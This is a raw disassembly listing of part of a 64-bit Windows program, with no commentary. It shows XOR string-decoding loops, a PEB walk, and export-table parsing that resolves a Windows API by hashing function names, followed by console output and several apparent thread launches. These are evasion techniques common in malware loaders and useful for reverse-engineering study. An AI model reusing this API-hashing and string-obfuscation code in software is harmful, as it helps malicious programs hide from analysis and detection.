cmp r8d, 0x15
jge 0x140088a42
movsxd rax, r8d
lea r9, [rbp - 8]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140088a10
lea rcx, [rbp - 8]
call fcn.1400830b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rbx, qword [rcx + r10 + 0x88]
mov ebx, ebx
add rbx, r10
cmp rbx, r10
je 0x140088ad8
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140088ad8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x7c802935
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140088ad3
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140088ab0
cmp edx, 0xe1fb6030
je 0x140088add
test r9d, r9d
jne 0x140088a90
mov rax, qword [rax]
jmp 0x140088a60
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14006c590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movups xmm0, xmmword [str.tVK_]
movups xmmword [rbp + 0x100], xmm0
movzx eax, byte [0x1401391b8]
mov byte [rbp + 0x110], al
mov r8d, r14d
cmp esi, 2
jl 0x140088c75
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x100]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140088b70
cmp r8d, 0x11
jge 0x140088cc2
movsxd rax, r8d
lea r9, [rbp + 0x100]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140088c90
lea rcx, [rbp + 0x100]
call fcn.1400830b0
lea rdx, [0x14006c5b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [0x1401507c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x14006c590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
call fcn.140088e00
call fcn.140089180
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140081250]
xor edx, edx
xor ecx, ecx
call qword [0x140150e88]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140081a60]
xor edx, edx
xor ecx, ecx
call qword [0x140150e88]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x14006dae0]
xor edx, edx
xor ecx, ecx
call qword [0x140150e88]
call fcn.140090570
mov rcx, qword [0x140150ce0]
call qword [0x140150e20]
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140088dc5
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140088dc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140088dc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
xor eax, eax
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140114060
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret